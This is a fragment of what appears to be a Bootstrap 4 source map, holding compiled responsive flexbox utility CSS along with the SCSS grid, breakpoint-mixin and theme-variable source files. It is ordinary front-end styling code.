.flex-sm-grow-1 {\n    flex-grow: 1 !important;\n  }\n  .flex-sm-shrink-0 {\n    flex-shrink: 0 !important;\n  }\n  .flex-sm-shrink-1 {\n    flex-shrink: 1 !important;\n  }\n  .justify-content-sm-start {\n    justify-content: flex-start !important;\n  }\n  .justify-content-sm-end {\n    justify-content: flex-end !important;\n  }\n  .justify-content-sm-center {\n    justify-content: center !important;\n  }\n  .justify-content-sm-between {\n    justify-content: space-between !important;\n  }\n  .justify-content-sm-around {\n    justify-content: space-around !important;\n  }\n  .align-items-sm-start {\n    align-items: flex-start !important;\n  }\n  .align-items-sm-end {\n    align-items: flex-end !important;\n  }\n  .align-items-sm-center {\n    align-items: center !important;\n  }\n  .align-items-sm-baseline {\n    align-items: baseline !important;\n  }\n  .align-items-sm-stretch {\n    align-items: stretch !important;\n  }\n  .align-content-sm-start {\n    align-content: flex-start !important;\n  }\n  .align-content-sm-end {\n    align-content: flex-end !important;\n  }\n  .align-content-sm-center {\n    align-content: center !important;\n  }\n  .align-content-sm-between {\n    align-content: space-between !important;\n  }\n  .align-content-sm-around {\n    align-content: space-around !important;\n  }\n  .align-content-sm-stretch {\n    align-content: stretch !important;\n  }\n  .align-self-sm-auto {\n    align-self: auto !important;\n  }\n  .align-self-sm-start {\n    align-self: flex-start !important;\n  }\n  .align-self-sm-end {\n    align-self: flex-end !important;\n  }\n  .align-self-sm-center {\n    align-self: center !important;\n  }\n  .align-self-sm-baseline {\n    align-self: baseline !important;\n  }\n  .align-self-sm-stretch {\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .flex-md-row {\n    flex-direction: row !important;\n  }\n  .flex-md-column {\n    flex-direction: column !important;\n  }\n  .flex-md-row-reverse {\n    flex-direction: row-reverse !important;\n  }\n  .flex-md-column-reverse {\n    flex-direction: column-reverse !important;\n  }\n  .flex-md-wrap {\n    flex-wrap: wrap !important;\n  }\n  .flex-md-nowrap {\n    flex-wrap: nowrap !important;\n  }\n  .flex-md-wrap-reverse {\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-md-fill {\n    flex: 1 1 auto !important;\n  }\n  .flex-md-grow-0 {\n    flex-grow: 0 !important;\n  }\n  .flex-md-grow-1 {\n    flex-grow: 1 !important;\n  }\n  .flex-md-shrink-0 {\n    flex-shrink: 0 !important;\n  }\n  .flex-md-shrink-1 {\n    flex-shrink: 1 !important;\n  }\n  .justify-content-md-start {\n    justify-content: flex-start !important;\n  }\n  .justify-content-md-end {\n    justify-content: flex-end !important;\n  }\n  .justify-content-md-center {\n    justify-content: center !important;\n  }\n  .justify-content-md-between {\n    justify-content: space-between !important;\n  }\n  .justify-content-md-around {\n    justify-content: space-around !important;\n  }\n  .align-items-md-start {\n    align-items: flex-start !important;\n  }\n  .align-items-md-end {\n    align-items: flex-end !important;\n  }\n  .align-items-md-center {\n    align-items: center !important;\n  }\n  .align-items-md-baseline {\n    align-items: baseline !important;\n  }\n  .align-items-md-stretch {\n    align-items: stretch !important;\n  }\n  .align-content-md-start {\n    align-content: flex-start !important;\n  }\n  .align-content-md-end {\n    align-content: flex-end !important;\n  }\n  .align-content-md-center {\n    align-content: center !important;\n  }\n  .align-content-md-between {\n    align-content: space-between !important;\n  }\n  .align-content-md-around {\n    align-content: space-around !important;\n  }\n  .align-content-md-stretch {\n    align-content: stretch !important;\n  }\n  .align-self-md-auto {\n    align-self: auto !important;\n  }\n  .align-self-md-start {\n    align-self: flex-start !important;\n  }\n  .align-self-md-end {\n    align-self: flex-end !important;\n  }\n  .align-self-md-center {\n    align-self: center !important;\n  }\n  .align-self-md-baseline {\n    align-self: baseline !important;\n  }\n  .align-self-md-stretch {\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .flex-lg-row {\n    flex-direction: row !important;\n  }\n  .flex-lg-column {\n    flex-direction: column !important;\n  }\n  .flex-lg-row-reverse {\n    flex-direction: row-reverse !important;\n  }\n  .flex-lg-column-reverse {\n    flex-direction: column-reverse !important;\n  }\n  .flex-lg-wrap {\n    flex-wrap: wrap !important;\n  }\n  .flex-lg-nowrap {\n    flex-wrap: nowrap !important;\n  }\n  .flex-lg-wrap-reverse {\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-lg-fill {\n    flex: 1 1 auto !important;\n  }\n  .flex-lg-grow-0 {\n    flex-grow: 0 !important;\n  }\n  .flex-lg-grow-1 {\n    flex-grow: 1 !important;\n  }\n  .flex-lg-shrink-0 {\n    flex-shrink: 0 !important;\n  }\n  .flex-lg-shrink-1 {\n    flex-shrink: 1 !important;\n  }\n  .justify-content-lg-start {\n    justify-content: flex-start !important;\n  }\n  .justify-content-lg-end {\n    justify-content: flex-end !important;\n  }\n  .justify-content-lg-center {\n    justify-content: center !important;\n  }\n  .justify-content-lg-between {\n    justify-content: space-between !important;\n  }\n  .justify-content-lg-around {\n    justify-content: space-around !important;\n  }\n  .align-items-lg-start {\n    align-items: flex-start !important;\n  }\n  .align-items-lg-end {\n    align-items: flex-end !important;\n  }\n  .align-items-lg-center {\n    align-items: center !important;\n  }\n  .align-items-lg-baseline {\n    align-items: baseline !important;\n  }\n  .align-items-lg-stretch {\n    align-items: stretch !important;\n  }\n  .align-content-lg-start {\n    align-content: flex-start !important;\n  }\n  .align-content-lg-end {\n    align-content: flex-end !important;\n  }\n  .align-content-lg-center {\n    align-content: center !important;\n  }\n  .align-content-lg-between {\n    align-content: space-between !important;\n  }\n  .align-content-lg-around {\n    align-content: space-around !important;\n  }\n  .align-content-lg-stretch {\n    align-content: stretch !important;\n  }\n  .align-self-lg-auto {\n    align-self: auto !important;\n  }\n  .align-self-lg-start {\n    align-self: flex-start !important;\n  }\n  .align-self-lg-end {\n    align-self: flex-end !important;\n  }\n  .align-self-lg-center {\n    align-self: center !important;\n  }\n  .align-self-lg-baseline {\n    align-self: baseline !important;\n  }\n  .align-self-lg-stretch {\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .flex-xl-row {\n    flex-direction: row !important;\n  }\n  .flex-xl-column {\n    flex-direction: column !important;\n  }\n  .flex-xl-row-reverse {\n    flex-direction: row-reverse !important;\n  }\n  .flex-xl-column-reverse {\n    flex-direction: column-reverse !important;\n  }\n  .flex-xl-wrap {\n    flex-wrap: wrap !important;\n  }\n  .flex-xl-nowrap {\n    flex-wrap: nowrap !important;\n  }\n  .flex-xl-wrap-reverse {\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-xl-fill {\n    flex: 1 1 auto !important;\n  }\n  .flex-xl-grow-0 {\n    flex-grow: 0 !important;\n  }\n  .flex-xl-grow-1 {\n    flex-grow: 1 !important;\n  }\n  .flex-xl-shrink-0 {\n    flex-shrink: 0 !important;\n  }\n  .flex-xl-shrink-1 {\n    flex-shrink: 1 !important;\n  }\n  .justify-content-xl-start {\n    justify-content: flex-start !important;\n  }\n  .justify-content-xl-end {\n    justify-content: flex-end !important;\n  }\n  .justify-content-xl-center {\n    justify-content: center !important;\n  }\n  .justify-content-xl-between {\n    justify-content: space-between !important;\n  }\n  .justify-content-xl-around {\n    justify-content: space-around !important;\n  }\n  .align-items-xl-start {\n    align-items: flex-start !important;\n  }\n  .align-items-xl-end {\n    align-items: flex-end !important;\n  }\n  .align-items-xl-center {\n    align-items: center !important;\n  }\n  .align-items-xl-baseline {\n    align-items: baseline !important;\n  }\n  .align-items-xl-stretch {\n    align-items: stretch !important;\n  }\n  .align-content-xl-start {\n    align-content: flex-start !important;\n  }\n  .align-content-xl-end {\n    align-content: flex-end !important;\n  }\n  .align-content-xl-center {\n    align-content: center !important;\n  }\n  .align-content-xl-between {\n    align-content: space-between !important;\n  }\n  .align-content-xl-around {\n    align-content: space-around !important;\n  }\n  .align-content-xl-stretch {\n    align-content: stretch !important;\n  }\n  .align-self-xl-auto {\n    align-self: auto !important;\n  }\n  .align-self-xl-start {\n    align-self: flex-start !important;\n  }\n  .align-self-xl-end {\n    align-self: flex-end !important;\n  }\n  .align-self-xl-center {\n    align-self: center !important;\n  }\n  .align-self-xl-baseline {\n    align-self: baseline !important;\n  }\n  .align-self-xl-stretch {\n    align-self: stretch !important;\n  }\n}\n\n/*# sourceMappingURL=bootstrap-grid.css.map */","// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n@if $enable-grid-classes {\n  .container {\n    @include make-container();\n    @include make-container-max-widths();\n  }\n}\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but with 100% width for\n// fluid, full width layouts.\n\n@if $enable-grid-classes {\n  .container-fluid {\n    @include make-container();\n  }\n}\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n@if $enable-grid-classes {\n  .row {\n    @include make-row();\n  }\n\n  // Remove the negative margin from default .row, then the horizontal padding\n  // from all immediate children columns (to prevent runaway style inheritance).\n  .no-gutters {\n    margin-right: 0;\n    margin-left: 0;\n\n    > .col,\n    > [class*=\"col-\"] {\n      padding-right: 0;\n      padding-left: 0;\n    }\n  }\n}\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n@if $enable-grid-classes {\n  @include make-grid-columns();\n}\n","/// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n@mixin make-container() {\n  width: 100%;\n  padding-right: ($grid-gutter-width / 2);\n  padding-left: ($grid-gutter-width / 2);\n  margin-right: auto;\n  margin-left: auto;\n}\n\n\n// For each breakpoint, define the maximum width of the container in a media query\n@mixin make-container-max-widths($max-widths: $container-max-widths, $breakpoints: $grid-breakpoints) {\n  @each $breakpoint, $container-max-width in $max-widths {\n    @include media-breakpoint-up($breakpoint, $breakpoints) {\n      max-width: $container-max-width;\n    }\n  }\n}\n\n@mixin make-row() {\n  display: flex;\n  flex-wrap: wrap;\n  margin-right: ($grid-gutter-width / -2);\n  margin-left: ($grid-gutter-width / -2);\n}\n\n@mixin make-col-ready() {\n  position: relative;\n  // Prevent columns from becoming too narrow when at smaller grid tiers by\n  // always setting `width: 100%;`. This works because we use `flex` values\n  // later on to override this initial width.\n  width: 100%;\n  min-height: 1px; // Prevent collapsing\n  padding-right: ($grid-gutter-width / 2);\n  padding-left: ($grid-gutter-width / 2);\n}\n\n@mixin make-col($size, $columns: $grid-columns) {\n  flex: 0 0 percentage($size / $columns);\n  // Add a `max-width` to ensure content within each column does not blow out\n  // the width of the column. Applies to IE10+ and Firefox. Chrome and Safari\n  // do not appear to require this.\n  max-width: percentage($size / $columns);\n}\n\n@mixin make-col-offset($size, $columns: $grid-columns) {\n  $num: $size / $columns;\n  margin-left: if($num == 0, 0, percentage($num));\n}\n","// Breakpoint viewport sizes and media queries.\n//\n// Breakpoints are defined as a map of (name: minimum width), order from small to large:\n//\n//    (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px)\n//\n// The map defined in the `$grid-breakpoints` global variable is used as the `$breakpoints` argument by default.\n\n// Name of the next breakpoint, or null for the last breakpoint.\n//\n//    >> breakpoint-next(sm)\n//    md\n//    >> breakpoint-next(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    md\n//    >> breakpoint-next(sm, $breakpoint-names: (xs sm md lg xl))\n//    md\n@function breakpoint-next($name, $breakpoints: $grid-breakpoints, $breakpoint-names: map-keys($breakpoints)) {\n  $n: index($breakpoint-names, $name);\n  @return if($n < length($breakpoint-names), nth($breakpoint-names, $n + 1), null);\n}\n\n// Minimum breakpoint width. Null for the smallest (first) breakpoint.\n//\n//    >> breakpoint-min(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    576px\n@function breakpoint-min($name, $breakpoints: $grid-breakpoints) {\n  $min: map-get($breakpoints, $name);\n  @return if($min != 0, $min, null);\n}\n\n// Maximum breakpoint width. Null for the largest (last) breakpoint.\n// The maximum value is calculated as the minimum of the next one less 0.02px\n// to work around the limitations of `min-` and `max-` prefixes and viewports with fractional widths.\n// See https://www.w3.org/TR/mediaqueries-4/#mq-min-max\n// Uses 0.02px rather than 0.01px to work around a current rounding bug in Safari.\n// See https://bugs.webkit.org/show_bug.cgi?id=178261\n//\n//    >> breakpoint-max(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    767.98px\n@function breakpoint-max($name, $breakpoints: $grid-breakpoints) {\n  $next: breakpoint-next($name, $breakpoints);\n  @return if($next, breakpoint-min($next, $breakpoints) - .02px, null);\n}\n\n// Returns a blank string if smallest breakpoint, otherwise returns the name with a dash infront.\n// Useful for making responsive utilities.\n//\n//    >> breakpoint-infix(xs, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    \"\"  (Returns a blank string)\n//    >> breakpoint-infix(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    \"-sm\"\n@function breakpoint-infix($name, $breakpoints: $grid-breakpoints) {\n  @return if(breakpoint-min($name, $breakpoints) == null, \"\", \"-#{$name}\");\n}\n\n// Media of at least the minimum breakpoint width. No query for the smallest breakpoint.\n// Makes the @content apply to the given breakpoint and wider.\n@mixin media-breakpoint-up($name, $breakpoints: $grid-breakpoints) {\n  $min: breakpoint-min($name, $breakpoints);\n  @if $min {\n    @media (min-width: $min) {\n      @content;\n    }\n  } @else {\n    @content;\n  }\n}\n\n// Media of at most the maximum breakpoint width. No query for the largest breakpoint.\n// Makes the @content apply to the given breakpoint and narrower.\n@mixin media-breakpoint-down($name, $breakpoints: $grid-breakpoints) {\n  $max: breakpoint-max($name, $breakpoints);\n  @if $max {\n    @media (max-width: $max) {\n      @content;\n    }\n  } @else {\n    @content;\n  }\n}\n\n// Media that spans multiple breakpoint widths.\n// Makes the @content apply between the min and max breakpoints\n@mixin media-breakpoint-between($lower, $upper, $breakpoints: $grid-breakpoints) {\n  $min: breakpoint-min($lower, $breakpoints);\n  $max: breakpoint-max($upper, $breakpoints);\n\n  @if $min != null and $max != null {\n    @media (min-width: $min) and (max-width: $max) {\n      @content;\n    }\n  } @else if $max == null {\n    @include media-breakpoint-up($lower, $breakpoints) {\n      @content;\n    }\n  } @else if $min == null {\n    @include media-breakpoint-down($upper, $breakpoints) {\n      @content;\n    }\n  }\n}\n\n// Media between the breakpoint's minimum and maximum widths.\n// No minimum for the smallest breakpoint, and no maximum for the largest one.\n// Makes the @content apply only to the given breakpoint, not viewports any wider or narrower.\n@mixin media-breakpoint-only($name, $breakpoints: $grid-breakpoints) {\n  $min: breakpoint-min($name, $breakpoints);\n  $max: breakpoint-max($name, $breakpoints);\n\n  @if $min != null and $max != null {\n    @media (min-width: $min) and (max-width: $max) {\n      @content;\n    }\n  } @else if $max == null {\n    @include media-breakpoint-up($name, $breakpoints) {\n      @content;\n    }\n  } @else if $min == null {\n    @include media-breakpoint-down($name, $breakpoints) {\n      @content;\n    }\n  }\n}\n","// Variables\n//\n// Variables should follow the `$component-state-property-size` formula for\n// consistent naming. Ex: $nav-link-disabled-color and $modal-content-box-shadow-xs.\n\n\n//\n// Color system\n//\n\n// stylelint-disable\n$white:    #fff !default;\n$gray-100: #f8f9fa !default;\n$gray-200: #e9ecef !default;\n$gray-300: #dee2e6 !default;\n$gray-400: #ced4da !default;\n$gray-500: #adb5bd !default;\n$gray-600: #6c757d !default;\n$gray-700: #495057 !default;\n$gray-800: #343a40 !default;\n$gray-900: #212529 !default;\n$black:    #000 !default;\n\n$grays: () !default;\n$grays: map-merge((\n  \"100\": $gray-100,\n  \"200\": $gray-200,\n  \"300\": $gray-300,\n  \"400\": $gray-400,\n  \"500\": $gray-500,\n  \"600\": $gray-600,\n  \"700\": $gray-700,\n  \"800\": $gray-800,\n  \"900\": $gray-900\n), $grays);\n\n$blue:    #007bff !default;\n$indigo:  #6610f2 !default;\n$purple:  #6f42c1 !default;\n$pink:    #e83e8c !default;\n$red:     #dc3545 !default;\n$orange:  #fd7e14 !default;\n$yellow:  #ffc107 !default;\n$green:   #28a745 !default;\n$teal:    #20c997 !default;\n$cyan:    #17a2b8 !default;\n\n$colors: () !default;\n$colors: map-merge((\n  \"blue\":       $blue,\n  \"indigo\":     $indigo,\n  \"purple\":     $purple,\n  \"pink\":       $pink,\n  \"red\":        $red,\n  \"orange\":     $orange,\n  \"yellow\":     $yellow,\n  \"green\":      $green,\n  \"teal\":       $teal,\n  \"cyan\":       $cyan,\n  \"white\":      $white,\n  \"gray\":       $gray-600,\n  \"gray-dark\":  $gray-800\n), $colors);\n\n$primary:       $blue !default;\n$secondary:     $gray-600 !default;\n$success:       $green !default;\n$info:          $cyan !default;\n$warning:       $yellow !default;\n$danger:        $red !default;\n$light:         $gray-100 !default;\n$dark:          $gray-800 !default;\n\n$theme-colors: () !default;\n$theme-colors: map-merge((\n  \"primary\":    $primary,\n  \"secondary\":  $secondary,\n  \"success\":    $success,\n  \"info\":       $info,\n  \"warning\":    $warning,\n  \"danger\":     $danger,\n  \"light\":      $light,\n  \"dark\":       $dark\n), $theme-colors);\n// stylelint-enable\n\n// Set a specific jump point for requesting color jumps\n$theme-color-interval:      8% !default;\n\n// The yiq lightness value that determines when the lightness of color changes from \"dark\" to \"light\". Acceptable values are between 0 and 255.\n$yiq-contrasted-threshold:  150 !default;\n\n// Customize the light and dark text colors for use in our YIQ color contrast function.\n$yiq-text-dark:             $gray-900 !default;\n$yiq-text-light:            $white !default;\n\n// Options\n//\n// Quickly modify global styling by enabling or disabling optional features.\n\n$enable-caret:              true !default;\n$enable-rounded:            true !default;\n$enable-shadows:            false !default;\n$enable-gradients:          false !default;\n$enable-transitions:        true !default;\n$enable-hover-media-query:  false !default; // Deprecated, no longer affects any compiled CSS\n$enable-grid-classes:       true !default;\n$enable-print-styles:       true !default;\n\n\n// Spacing\n//\n// Control the default styling of most Bootstrap elements by modifying these\n// variables. Mostly focused on spacing.\n// You can add more entries to the $spacers map, should you need more variation.\n\n// stylelint-disable\n$spacer: 1rem !default;\n$spacers: () !default;\n$spacers: map-merge((\n  0: 0,\n  1: ($spacer * .25),\n  2: ($spacer * .5),\n  3: $spacer,\n  4: ($spacer * 1.5),\n  5: ($spacer * 3)\n), $spacers);\n\n// This variable affects the `.h-*` and `.w-*` classes.\n$sizes: () !default;\n$sizes: map-merge((\n  25: 25%,\n  50: 50%,\n  75: 75%,\n  100: 100%,\n  auto: auto\n), $sizes);\n// stylelint-enable\n\n// Body\n//\n// Settings for the `<body>` element.\n\n$body-bg:                   $white !default;\n$body-color:                $gray-900 !default;\n\n// Links\n//\n// Style anchor elements.\n\n$link-color:                theme-color(\"primary\") !default;\n$link-decoration:           none !default;\n$link-hover-color:          darken($link-color, 15%) !default;\n$link-hover-decoration:     underline !default;\n\n// Paragraphs\n//\n// Style p element.\n\n$paragraph-margin-bottom:   1rem !default;\n\n\n// Grid breakpoints\n//\n// Define the minimum dimensions at which your layout will change,\n// adapting to different screen sizes, for use in media queries.\n\n$grid-breakpoints: (\n  xs: 0,\n  sm: 576px,\n  md: 768px,\n  lg: 992px,\n  xl: 1200px\n) !default;\n\n@include _assert-ascending($grid-breakpoints, \"$grid-breakpoints\");\n@include _assert-starts-at-zero($grid-breakpoints);\n\n\n// Grid containers\n//\n// Define the maximum width of `.container` for different screen sizes.\n\n$container-max-widths: (\n  sm: 540px,\n  md: 720px,\n  lg: 960px,\n  xl: 1140px\n) !default;\n\n@include _assert-ascending($container-max-widths, \"$container-max-widths\");\n\n\n// Grid columns\n//\n// Set the number of columns and specify the width of the gutters.\n\n$grid-columns:                12 !default;\n$grid-gutter-width:           30px !default;\n\n// Components\n//\n// Define common padding and border radius sizes and more.\n\n$line-height-lg:              1.5 !default;\n$line-height-sm:              1.5 !default;\n\n$border-width:                1px !default;\n$border-color:                $gray-300 !default;\n\n$border-radius:               .25rem !default;\n$border-radius-lg:            .3rem !default;\n$border-radius-sm:            .2rem !default;\n\n$box-shadow-sm:               0 .125rem .25rem rgba($black, .075) !default;\n$box-shadow:                  0 .5rem 1rem rgba($black, .15) !default;\n$box-shadow-lg:               0 1rem 3rem rgba($black, .175) !default;\n\n$component-active-color:      $white !default;\n$component-active-bg:         theme-color(\"primary\") !default;\n\n$caret-width:                 .3em !default;\n\n$transition-base:             all .2s ease-in-out !default;\n$transition-fade:             opacity .15s linear !default;\n$transition-collapse:         height .35s ease !default;\n\n\n// Fonts\n//\n// Font, line-height, and color for body text, headings, and more.\n\n// stylelint-disable value-keyword-case\n$font-family-sans-serif:      -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\" !default;\n$font-family-monospace:       SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace !default;\n$font-family-base:            $font-family-sans-serif !default;\n// stylelint-enable value-keyword-case\n\n$font-size-base:              1rem !default; // Assumes the browser default, typically `16px`\n$font-size-lg:                ($font-size-base * 1.25) !default;\n$font-size-sm:                ($font-size-base * .875) !default;\n\n$font-weight-light:           300 !default;\n$font-weight-normal:          400 !default;\n$font-weight-bold:            700 !default;\n\n$font-weight-base:            $font-weight-normal !default;\n$line-height-base:            1.5 !default;\n\n$h1-font-size:                $font-size-base * 2.5 !default;\n$h2-font-size:                $font-size-base * 2 !default;\n$h3-font-size:                $font-size-base * 1.75 !default;\n$h4-font-size:                $font-size-base * 1.5 !default;\n$h5-font-size:                $font-size-base * 1.25 !default;\n$h6-font-size:                $font-size-base !default;\n\n$headings-margin-bottom:      ($spacer / 2) !default;\n$headings-font-family:        inherit !default;\n$headings-font-weight:        500 !default;\n$headings-line-height:        1.2 !default;\n$headings-color:              inherit !default;\n\n$display1-size:               6rem !default;\n$display2-size:               5.5rem !default;\n$display3-size:               4.5rem !default;\n$display4-size:               3.5rem !default;\n\n$display1-weight:             300 !default;\n$display2-weight:             300 !default;\n$display3-weight:             300 !default;\n$display4-weight:             300 !default;\n$display-line-height:         $headings-line-height !default;\n\n$lead-font-size:              ($font-size-base * 1.25) !default;\n$lead-font-weight:            300 !default;\n\n$small-font-size:             80% !default;\n\n$text-muted:                  $gray-600 !default;\n\n$blockquote-small-color:      $gray-600 !default;\n$blockquote-font-size:        ($font-size-base * 1.25) !default;\n\n$hr-border-color:             rgba($black, .1) !default;\n$hr-border-width:             $border-width !default;\n\n$mark-padding:                .2em !default;\n\n$dt-font-weight:              $font-weight-bold !default;\n\n$kbd-box-shadow:              inset 0 -.1rem 0 rgba($black, .25) !default;\n$nested-kbd-font-weight:      $font-weight-bold !default;\n\n$list-inline-padding:         .5rem !default;\n\n$mark-bg:                     #fcf8e3 !default;\n\n$hr-margin-y:                 $spacer !default;\n\n\n// Tables\n//\n// Customizes the `.table` component with basic values, each used across all table variations.\n\n$table-cell-padding:          .75rem !default;\n$table-cell-padding-sm:       .3rem !default;\n\n$table-bg:                    transparent !default;\n$table-accent-bg:             rgba($black, .05) !default;\n$table-hover-bg:              rgba($black, .075) !default;\n$table-active-bg:             $table-hover-bg !default;\n\n$table-border-width:          $border-width !default;\n$table-border-color:          $gray-300 !default;\n\n$table-head-bg:               $gray-200 !default;\n$table-head-color:            $gray-700 !default;\n\n$table-dark-bg:               $gray-900 !default;\n$table-dark-accent-bg:        rgba($white, .05) !default;\n$table-dark-hover-bg:         rgba($white, .075) !default;\n$table-dark-border-color:     lighten($gray-900, 7.5%) !default;\n$table-dark-color:            $body-bg !default;\n\n$table-striped-order:         odd !default;\n\n$table-caption-color:         $text-muted !default;\n\n// Buttons + Forms\n//\n// Shared variables that are reassigned to `$input-` and `$btn-` specific variables.\n\n$input-btn-padding-y:         .375rem !default;\n$input-btn-padding-x:         .75rem !default;\n$input-btn-line-height:       $line-height-base !default;\n\n$input-btn-focus-width:       .2rem !default;\n$input-btn-focus-color:       rgba($component-active-bg, .25) !default;\n$input-btn-focus-box-shadow:  0 0 0 $input-btn-focus-width $input-btn-focus-color !default;\n\n$input-btn-padding-y-sm:      .25rem !default;\n$input-btn-padding-x-sm:      .5rem !default;\n$input-btn-line-height-sm:    $line-height-sm !default;\n\n$input-btn-padding-y-lg:      .5rem !default;\n$input-btn-padding-x-lg:      1rem !default;\n$input-btn-line-height-lg:    $line-height-lg !default;\n\n$input-btn-border-width:      $border-width !default;\n\n\n// Buttons\n//\n// For each of Bootstrap's buttons, define text, background, and border color.\n\n$btn-padding-y:               $input-btn-padding-y !default;\n$btn-padding-x:               $input-btn-padding-x !default;\n$btn-line-height:             $input-btn-line-height !default;\n\n$btn-padding-y-sm:            $input-btn-padding-y-sm !default;\n$btn-padding-x-sm:            $input-btn-padding-x-sm !default;\n$btn-line-height-sm:          $input-btn-line-height-sm !default;\n\n$btn-padding-y-lg:            $input-btn-padding-y-lg !default;\n$btn-padding-x-lg:            $input-btn-padding-x-lg !default;\n$btn-line-height-lg:          $input-btn-line-height-lg !default;\n\n$btn-border-width:            $input-btn-border-width !default;\n\n$btn-font-weight:             $font-weight-normal !default;\n$btn-box-shadow:              inset 0 1px 0 rgba($white, .15), 0 1px 1px rgba($black, .075) !default;\n$btn-focus-width:             $input-btn-focus-width !default;\n$btn-focus-box-shadow:        $input-btn-focus-box-shadow !default;\n$btn-disabled-opacity:        .65 !default;\n$btn-active-box-shadow:       inset 0 3px 5px rgba($black, .125) !default;\n\n$btn-link-disabled-color:     $gray-600 !default;\n\n$btn-block-spacing-y:         .5rem !default;\n\n// Allows for customizing button radius independently from global border radius\n$btn-border-radius:           $border-radius !default;\n$btn-border-radius-lg:        $border-radius-lg !default;\n$btn-border-radius-sm:        $border-radius-sm !default;\n\n$btn-transition:              color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out !default;\n\n\n// Forms\n\n$label-margin-bottom:                   .5rem !default;\n\n$input-padding-y:                       $input-btn-padding-y !default;\n$input-padding-x:                       $input-btn-padding-x !default;\n$input-line-height:                     $input-btn-line-height !default;\n\n$input-padding-y-sm:                    $input-btn-padding-y-sm !default;\n$input-padding-x-sm:                    $input-btn-padding-x-sm !default;\n$input-line-height-sm:                  $input-btn-line-height-sm !default;\n\n$input-padding-y-lg:                    $input-btn-padding-y-lg !default;\n$input-padding-x-lg:                    $input-btn-padding-x-lg !default;\n$input-line-height-lg:                  $input-btn-line-height-lg !default;\n\n$input-bg:                              $white !default;\n$input-disabled-bg:                     $gray-200 !default;\n\n$input-color:                           $gray-700 !default;\n$input-border-color:                    $gray-400 !default;\n$input-border-width:                    $input-btn-border-width !default;\n$input-box-shadow:                      inset 0 1px 1px rgba($black, .075) !default;\n\n$input-border-radius:                   $border-radius !default;\n$input-border-radius-lg:                $border-radius-lg !default;\n$input-border-radius-sm:                $border-radius-sm !default;\n\n$input-focus-bg:                        $input-bg !default;\n$input-focus-border-color:              lighten($component-active-bg, 25%) !default;\n$input-focus-color:                     $input-color !default;\n$input-focus-width:                     $input-btn-focus-width !default;\n$input-focus-box-shadow:                $input-btn-focus-box-shadow !default;\n\n$input-placeholder-color:               $gray-600 !default;\n$input-plaintext-color:                 $body-color !default;\n\n$input-height-border:                   $input-border-width * 2 !default;\n\n$input-height-inner:                    ($font-size-base * $input-btn-line-height) + ($input-btn-padding-y * 2) !default;\n$input-height:                          calc(#{$input-height-inner} + #{$input-height-border}) !default;\n\n$input-height-inner-sm:                 ($font-size-sm * $input-btn-line-height-sm) + ($input-btn-padding-y-sm * 2) !default;\n$input-height-sm:                       calc(#{$input-height-inner-sm} + #{$input-height-border}) !default;\n\n$input-height-inner-lg:                 ($font-size-lg * $input-btn-line-height-lg) + ($input-btn-padding-y-lg * 2) !default;\n$input-height-lg:                       calc(#{$input-height-inner-lg} + #{$input-height-border}) !default;\n\n$input-transition:                      border-color .15s ease-in-out, box-shadow .15s ease-in-out !default;\n\n$form-text-margin-top:                  .25rem !default;\n\n$form-check-input-gutter:               1.25rem !default;\n$form-check-input-margin-y:             .3rem !default;\n$form-check-input-margin-x:             .25rem !default;\n\n$form-check-inline-margin-x:            .75rem !default;\n$form-check-inline-input-margin-x:      .3125rem !default;\n\n$form-group-margin-bottom:              1rem !default;\n\n$input-group-addon-color:               $input-color !default;\n$input-group-addon-bg:                  $gray-200 !default;\n$input-group-addon-border-color:        $input-border-color !default;\n\n$custom-control-gutter:                 1.5rem !default;\n$custom-control-spacer-x:               1rem !default;\n\n$custom-control-indicator-size:         1rem !default;\n$custom-control-indicator-bg:           $gray-300 !default;\n$custom-control-indicator-bg-size:      50% 50% !default;\n$custom-control-indicator-box-shadow:   inset 0 .25rem .25rem rgba($black, .1) !default;\n\n$custom-control-indicator-disabled-bg:          $gray-200 !default;\n$custom-control-label-disabled-color:           $gray-600 !default;\n\n$custom-control-indicator-checked-color:        $component-active-color !default;\n$custom-control-indicator-checked-bg:           $component-active-bg !default;\n$custom-control-indicator-checked-disabled-bg:  rgba(theme-color(\"primary\"), .5) !default;\n$custom-control-indicator-checked-box-shadow:   none !default;\n\n$custom-control-indicator-focus-box-shadow:     0 0 0 1px $body-bg, $input-btn-focus-box-shadow !default;\n\n$custom-control-indicator-active-color:         $component-active-color !default;\n$custom-control-indicator-active-bg:            lighten($component-active-bg, 35%) !default;\n$custom-control-indicator-active-box-shadow:    none !default;\n\n$custom-checkbox-indicator-border-radius:       $border-radius !default;\n$custom-checkbox-indicator-icon-checked:        str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='#{$custom-control-indicator-checked-color}' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$custom-checkbox-indicator-indeterminate-bg:          $component-active-bg !default;\n$custom-checkbox-indicator-indeterminate-color:       $custom-control-indicator-checked-color 